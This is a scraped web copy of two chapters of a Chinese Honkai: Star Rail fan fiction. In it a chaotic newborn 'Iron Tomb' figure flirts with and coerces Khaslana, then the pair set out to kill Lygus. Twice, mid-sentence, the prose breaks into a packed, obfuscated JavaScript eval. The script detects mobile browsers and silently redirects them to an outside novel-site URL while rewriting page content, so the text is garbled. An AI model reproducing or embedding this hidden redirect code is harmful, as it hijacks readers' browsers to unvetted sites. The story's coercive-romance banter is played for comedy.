《新生绝灭大君只想种田[崩铁]》 3. 被剧情虐晕第三天 眼见耳闻着铁墓满嘴跑火车已经很痛苦了,但更令卡厄斯兰那痛苦的是他秒懂了那什劳子“太太你也不想……”的经典句式套用。 卡厄斯兰那当然是能听懂的,虽然他本人阳光开朗正直友爱还没对象,根本没机会开发出奇奇怪怪的电脑配件喜好,但神悟树庭的友爱之馆收录了整个翁法洛斯的藏书,其中不乏牛头人方向的大作。而那时还是在闲暇时热爱编造野史的白厄的他淘书并没有忌讳,除了正经书什么都看,但凡能将研读乱七八糟读物的劲头放在正经学术上也不至于反复延毕了。 牧暮视侵晨如无物,故意继续夹着嗓子“桀桀桀”怪笑几声,向卡厄斯兰那靠近的同时疯狂暴言:“白厄你一个小猫咪你还能怎么样~你还能逃出我的手掌心吗?你不能啦!嘿嘿嘿嘿吼吼哈哈~~~” 凭此承载亿万火种的身躯早已不畏寒暑,卡厄斯兰那还被牧暮不正常的语调夹得脊背发凉,身后大翅膀一扇不进反退出好大一段距离,没表情的脸上明晃晃的写着“这家伙脑子怕不是有什么大病千万别传染给我”。 此时此刻,侵晨的作用不再是进攻,而是用于守护自身的清白。而卡厄斯兰那看牧暮的表情就像是当初看到万敌偷偷抱着穹浴宫里那只黄金大海豹蹭脸颊。 用奇美拉也能听得懂的解释就是,真唐门的见了鬼了。 牧暮也看出了他唯恐避之不及?:“怎么,身为负世之泰坦的你要逃避自己的使命,竟不愿付出区区献身于我的代价换得翁法洛斯的留存吗?” “你在说什么鬼话?”卡厄斯兰那丝毫不买账,看似普通随意的站姿实则绷紧了全部的神经,凭借身经百战的经验,无论是来自哪个方向的袭击都能以最快速度完美的进行反击,“拿我当白痴戏耍也要有个限度,无论你如何花言巧语也休想我将自身数据拱手相让。” “停,打住,stop!”牧暮紧急叫停免得卡厄斯兰那的情绪再次陷入盛大的愤怒之中,“谁说我是要你的数据了?我要那玩意干嘛,哥们儿别想那么复杂,我只是很单纯的馋你身子!” “……” 单纯吗?这单纯吗?这到底哪里单纯了? 卡厄斯兰那差一点爆改吐槽役,好在轮回的次数足够多当哑巴的经验足够丰富,在话出口之前强行闭上了嘴巴,但远了看嘴唇徒劳的轻微开合像是被气得微微发抖,好一副被浪荡子调戏了敢怒不敢言的黄花大闺女样。 敌进我退,敌退就轮到我方进行骚扰了。 牧暮毫不犹豫的欺身上前,她的身高放在同性中算得上鹤立鸡群,但站在原本就高大此刻还悬停在空中的卡厄斯兰那面前活像个黑不溜秋的烤土豆,实在谈不上什么气势压迫感之类的东西。 得想个法子撑下场子…… 法子还没想出来呢,仅仅是脑海中生出这样的想法,身后便凭空展开一对羽翼带着她整个人猛地往斜上方一冲,跟个空包弹似的精准命中悬停在前方的卡厄斯兰那身上, 咳,之所以说空包弹而不是别的更有杀伤力的家伙,纯粹是牧暮本人完全没有飞行经验,零帧起手搞这么一下就成了自鲨式袭击,让自己的脑门跟完全没预料到有此一劫的卡厄斯兰那的胸二肌来了个致死量的接触。 身负无敌buff连痛感都没感受到多少的牧暮却一手勾住卡厄斯兰那的脖子,扒着他装出一副晕乎乎的状态。 卡厄斯兰那嘴角抽搐,想把她推开但是尴尬的一幕再次出现——笑死,根本推不动。行动上被武力胁迫着,他只能从言语上试图让牧暮主动松手:“别装了,侵晨都无法伤害到你,又怎么会因为轻轻一撞就头晕。” 牧暮吸了一口厄猫的原装口水巾,颤巍巍地抬起另一只空闲的手竖了个大拇指:“我从小身体不好,见奶就晕,而阁下心胸宽广,不得不扶啊!” “……” 之前牧暮费尽口舌也没能让卡厄斯兰那动摇,现在却凭借发癫几乎达成了目的,他真的开始怀疑起自己先前的判断——关于牧暮是不是铁墓这件事。 已经不是简单的“误入歧途”能形容的,如果这玩意是铁墓,很难想象她究竟通过黑潮深度学习了些什么玩意儿才变得这么癫。但若是黑潮里都是这这种玩意,倒也不难理解为什么杀伤力能那么大,真不是寻常人类的精神能承受得住的,怪不得所到之处寸草不生片甲不留。 也就是牧暮不知道他在想什么,否则一定会把自己凹成“乆”的形状大喊:“都是米哈游干的!是米哈游把我变成现在这样的!” 可惜她不知道,痛失了一次玩梗的机会,如今只能干巴巴的说着倒计时和威胁的话,在强制爱的邪道上头也不回的狂奔:“三、二、一、零。时间到,怎么样小白考虑好没有,要不要为了翁法洛斯能够拥有明天从了我呀?” 卡厄斯兰那很想硬气的回她“绝不”,可他不能,因为他知道对付没有足够强大力量的来古士可以通过卡bug让实验进程停滞的方式,但对上已经诞生的铁墓却行不通。 成功突破防火墙让他意识到翁法洛斯这个人为制造出的实验场的脆弱,积攒了千万纪元的愤怒足以焚毁它,那么连他都打不过的铁墓哪怕只是个新生儿,同样能轻而易举的做到毁灭孕育她的摇篮。 他不敢赌。 敢跟纳努克爆了是清楚此等破釜沉舟之举行于「毁灭」的命途之上,无论结果怎样,作为这条命途的概念神祂都不会因自己所做作为出手对付翁法洛斯。 不同于天高皇帝远的纳努克以及其他绝灭大君,铁墓是一个位于翁法洛斯内部的初生的绝灭大君,能力性格尚不明确,眼看着疯疯癫癫满口黄话的样子,却几次被他攻击都不曾发怒,想来是心智确未成熟,权当他是陪她闹着玩也说不定。但让凭借本能行事的婴孩拥有纷争泰坦的神力,是真的会比人格分裂的疯王可怕成千上万倍。 类比一下,当核按钮被婴儿掌控时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978194|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个星球的毁灭倒计时便已经开始读秒,谁都不知道毁灭何时而至,因为答案所有人都知晓,是随时。 卡厄斯兰那当然可以再度燃烧自己,他身为负世的救世主责无旁贷,可一旦他跟铁墓爆了却没能一击毙命,要承担铁墓反击的是好不容易等来了灰白色黎明的正试图抓紧最后一丝希望的翁法洛斯。 他赌不起。 黎明触手可及,翁法洛斯即将获得新生,那是卡厄斯兰那到达不了的“明天”,但没关系,崭新的轮回不会再有抢在黑潮之前杀死黄金裔夺取火种的盗火行者,这一次的白厄也不必再经历挚爱亲朋被残杀以及传火的痛苦,逐火之旅不会再是一场骗局……而换取一切幸福的微不足道的小小代价不过是卡厄斯兰那的献身。 哪怕接下来的“明天”没有自己也没关系,他可以接受自己倒在黎明前最后的黑暗中。 思路再怎么繁杂纷扰,时间却仅仅过去十几秒,已然下定了决心的卡厄斯兰那缓缓抬手,动作僵硬的环住牧暮的腰肢,对着她扯扯嘴角露出一个皮笑肉不笑:“考虑好了,我可以从……跟……和你在一起。” 磕磕绊绊,几番犹豫,最后用了个最要脸的说法。 虽然垮着个小猫批脸不情不愿,但又怕惹了牧暮这个巨婴,强行让身体从紧绷的状态放松下来。 这种口嫌体正直的表现对于牧暮而言反而更加美味。 谁说强扭的瓜不甜的?这瓜可太甜了! 比起硬邦邦堪比石头的肌肉,当然是放松时抱着更舒服,不过卡厄斯兰那身上凸出的裂痕偶尔会有点硌人。 明明剧情中刚变身时身上没有这么多碎裂痕迹,对比盗火行者被打掉面具时完全硬化如同破损雕像的状态,应该是上亿火种过于庞大的力量被强行灌入白厄这个普通人的身躯,导致他的身体时时刻刻都在崩毁。 但都已经从白厄变成神厄了,除了战斗力的提升,身体承受能力也该提升到神躯的境界才更合理吧? 牧暮只是一个念头闪过,就见卡厄斯兰那身上那些裂痕,尤其是边缘硬化如石料的部分正以肉眼可见的速度重新变回正常的血肉。 这下不光牧暮自己愣住,卡厄斯兰那更加惊愕,没人能比他更直观的感受到自身的变化,从接纳火种入体后持续灼烧得理智几乎蒸发的疼痛仿佛被瞬间抽离,身体轻松的不可思议,仿佛那些火种已经放弃了燃烧。 但只需他沉下心感受,就能知道火种不但一颗没少反而燃烧的更加猛烈,只是看起来安静无害罢了。 牧暮“哇”了一声笑眯了眼:“这可真是好大的惊喜!不如我们一会儿就做点什么凑个双喜临门吧。” 卡厄斯兰那的视线缓慢的专注的落在牧暮与他相像却笑容天真纯然的脸上,不等他说出推拒的话,牧暮便继续说道。 “都说第一次是要见血的,但你我的身体想弄出血还挺难的,要不一起去杀个来古士助助兴?” 4. 被剧情虐晕第四天 牧暮当然不只是嘴上爽一把就完,她只是想着既然卡厄斯兰那那么笃定自己是铁墓,而刚刚这具身体所展现出的坚硬、快速愈合、抹消攻击以及心想事成的能力,似乎在将这个荒谬的猜测一一验证。 既然如此,为什么不做点方便破冰的事呢? 理所当然承担破冰道具的重任落到了来古士这个人憎狗嫌的家伙身上,杀掉不会有任何人或者非人为他找场子,没有后顾之忧反而会赢得所有人的拍手叫好。 多么完美的工具人! 卡厄斯兰那对前半截话充耳不闻,垮着那张他没有世俗欲望但会让其他人很有世俗欲望的小猫批脸,但当听到后半截时突然就不困了:“你知道那胆小的卑劣者藏匿于何处?” 第一次还是第几次无所谓,助不助兴为什么助兴也不重要,唯独宰杀来古士,哪怕被砍下头颅的只是一个又一个分?身,但只要有机会,他会毫不犹豫的积极挥剑战斗。 笑话,他一时杀不死铁墓才需要耐下性子蛰伏,好精心策划出一场不会有任何失手可能的必杀。但来古士?明明是阴沟里的老鼠,还非要学癞蛤蟆爬人脚面上,既恶心又膈应人的破烂玩意儿,死不足惜,只会大快人心。 要是牧暮知道卡厄斯兰那绞尽脑汁想出的“恶毒”形容,只会觉得他辱老鼠□□了,从数量质量致死量上进行计量的话,来古士更像是广东特产双马尾,让人一想到就开始嘴角下撇皱眉紧皱想要尖叫跑开。 这样的表情却让卡厄斯兰那错以为是自己的语气态度冒犯到牧暮,他并不想向铁墓低头,却又不想错过弄死来古士的机会,于是尽可能温声为自己先前的话找补:“不是针对你,我曾无数次寻找来古士的本体,整个翁法洛斯没有任何一处是未曾踏足的,甚至包括冥界,但一无所获。所以只要能找到,本体分?身都一样,我不会放过任何一个。” “有这样的精气神儿你做什么都会成功的。哦,不对,你已经成功过很多次了……”牧暮被自己跑得比脑子转得快的嘴给刀了一下,决定把这个仇团吧团吧一并记到来古士的账上,正好也验证一下自己对现在这具身体能力的猜测,“卡厄……算了还是叫你小白吧,小白比较顺口。分?身能杀一个是一个挺好,能杀光最好,都是来古士那狗比应得的,但是小白,你难道真的不想把本体干掉吗?” 他怎么可能不想将来古士彻彻底底解决掉呢,无论翁法洛斯的本质是什么又是为了何种目的而存在,将其中全体生命(数据)的命运设置成固定导向毁灭这唯一结局的是来古士。 自称“观众”却摆出不平等的高高在上的“造物主”姿态,即使每次轮回都会被盗火行者或是白厄不止一次砍下头颅,那无机质闪着连电电弧的赤色电子眼中仍旧只有看向蝼蚁的傲慢。 区区傀儡,区区傀儡! 不过牧暮的话中显然透露出一线希望。 “所以你确实找到了?他在哪里,快告诉我!”卡厄斯兰那脱口而出。 牧暮不打算继续卖关子,她没必要在这种事上拼命拉低因自己存疑的身份导致本就不高的好感度:“是啊,我找到了,也知道为什么你一直找不到他了。那家伙本事不大也没有多么高明的藏身之法,但的确是个理论上不可能被你找到的地方——那个大聪明黏在翁法洛斯的外侧。” 这对于已经知晓一切,了解到洞穴之外另有天地的卡厄斯兰那而言并不难理解:“翁法洛斯的外侧……像无名客的来处一样,他的本体自始至终位于天外?我自以为困住了来古士,卡住了实验进程,可……”可是铁墓已然诞生,来古士实质上并没有受到任何限制,他完全可以来去自由! “别担心,那大聪明的身体有大半都嵌进翁法洛斯了,我带你过去一抓一个准,他跑不了一点。” 信心满满打着包票的牧暮一不小心顺手掐了掐卡厄斯兰那的后腰。嘿别说,你还真别说,一个肩宽顶得上两个自己、胸襟宽广的像海洋的威武雄壮的爷们竟然能拥有如此劲瘦有力的细腰,还得是二次元纸片人成精,米忽悠无论美工还是建模真的都太权威了。 但她没有发现卡厄斯兰那没反应是根本没听她说的话,已经完全陷入了思维的死胡同。 他的神情有些不明显的怔忡,来自曾经无数个自愿踏上轮回成为盗火行者的白厄的记忆翻涌,无数轮回中自己与其他白厄并无不同又完全不同,因为只有自己等到了语言中的灰白色黎明,也只有自己没有在火种集齐后进入缓冲区等待下一个轮回的开启。 多么微不足道的选择,微小到放进三千多万个纪元中的体量甚至比不上一粒尘埃,但或许正是这个错误的选择直接导致被bug卡住的进度条往前进了不起眼的0.1%,但正是这微不足道的0.1%使得实验进度达成了100%,铁墓提前诞生。 而在实验目标已经达成的情况下,翁法洛斯还有必要重启已经不再被需要的轮回吗? 可如果不重启,翁法洛斯的黎明要如何才能到来?逐火之旅所付出的牺牲翁法洛斯人民所遭遇的不幸要如何挽回?而自己一次又一次重来的坚持又算什么?一场跨越亿万年时长将所有人拖下水的自嗨吗! 谈论正事也没忘了跟两位大兄贴贴的牧暮的视角看不到卡厄斯兰那的表情变化,但当她能感受到对方逐渐紊乱的气息以及身体不自然的战栗时,猛地抬起头就看到那双金瞳略显涣散:“小白?白厄!不管你现在想的是什么,都给我清醒一点,还是说需要我通过物理方法帮你清醒清醒?” 一声大喝如惊雷般在卡厄斯兰那耳边炸响,零帧起手紧接而来的是劈头盖脸一个大逼斗。 力度刚刚好,懵逼不伤脑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978195|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 嗯,大概是不伤脑的,但不妨碍卡厄斯兰那被这一逼斗呼得脑瓜子嗡嗡的。 “咳,这次手比嘴先行动真的是很抱歉了。”牧暮不好意思的轻咳两声,“知道你急,但你先别急,都说了来古士是个大聪明,他本体虽然身处翁法洛斯的外侧,但大半个身体已经嵌进翁法洛斯了跑不了他的。” 作为大餐前重要的仪式,以及一些私人情绪,牧暮对这项活动很重视,她闭上眼睛确认了一下感知到的信息,才继续说:“事先说好,我可没杀过人也不敢动手,我只负责把你带过去,剩下的全部交给你解决,说好了,没别的问题了吧?没有我们出发?” “稍等。”卡厄斯兰那拒绝了牧暮要牵住他的手:“以普遍常理而论,来古士对铁墓而言应是父亲一般的存在,可你为何会弃他不顾反倒来帮我?” 这绝对不能算是安全的试探,卡厄斯兰那已经做好了牧暮瞬间翻脸的心理准备和战斗准备。 牧暮的反应却再次大大出乎卡厄斯兰那的想象,只见她想都没想就:“呵,父亲?凭他也配?他配钥匙配个几把啊配!” “骂的很好,下次别骂了。”相比之下卡厄斯兰那甚至觉得万敌的骂人方式变文雅了。 “我到底是不是铁墓这事放到一边。如果我是,没有来古士的干扰铁墓可能早不知道多少个琥珀纪就诞生了,这难道不算深仇大恨?如果我不是铁墓的话,就凭他设计了你们的苦难和死亡他就该死,难道还不允许我迁怒……不,不对,对始作俑者的恨意怎么能叫迁怒,那是他活该。” 在卡厄斯兰那震惊的目光中,牧暮坦然总结:“总而言之,你记住一点就行,我和来古士之间只有仇,没有恩,一丁点儿都没有。不过嘛,现在确实没什么信任基础,我也知道让你不怀疑我都很难为你了,更别说是索要信任这种珍贵无比的东西,所以有什么话都等到来古士死后再说。” 这一次没给卡厄斯兰那再次拒绝的机会,牧暮一把抱住他,大量的黑红色数据流顷刻包裹住二人,仅仅是一息之间权杖运行的核心区变回空无一人的荒野。 卡厄斯兰那在被那黑红数据流包围的瞬间是慌了一下的,类似于“这从头到尾只是铁墓与来古士联手布下用于获取自身所承载数据的陷阱”的想法刚要冒出来个芽,紧接着出现在眼前的宇宙、星空、星穹列车,以及仿佛是长在了那条流光溢彩的莫比乌斯环状光带上的来古士让他暂时抛开了恶意揣测。 “我……离开了翁法洛斯?”卡厄斯兰那不敢置信,哪怕这原本是亿万年前的那个自己如果选择听从来古士的引导接受星神瞥视后很有可能做到的事。 牧暮也是头一回站在宇宙之中以这样的视角俯视一颗星球:“是的,我们眼前的就是翁法洛斯在宇宙中的样子,怎么样,你的家乡很美,对吧?”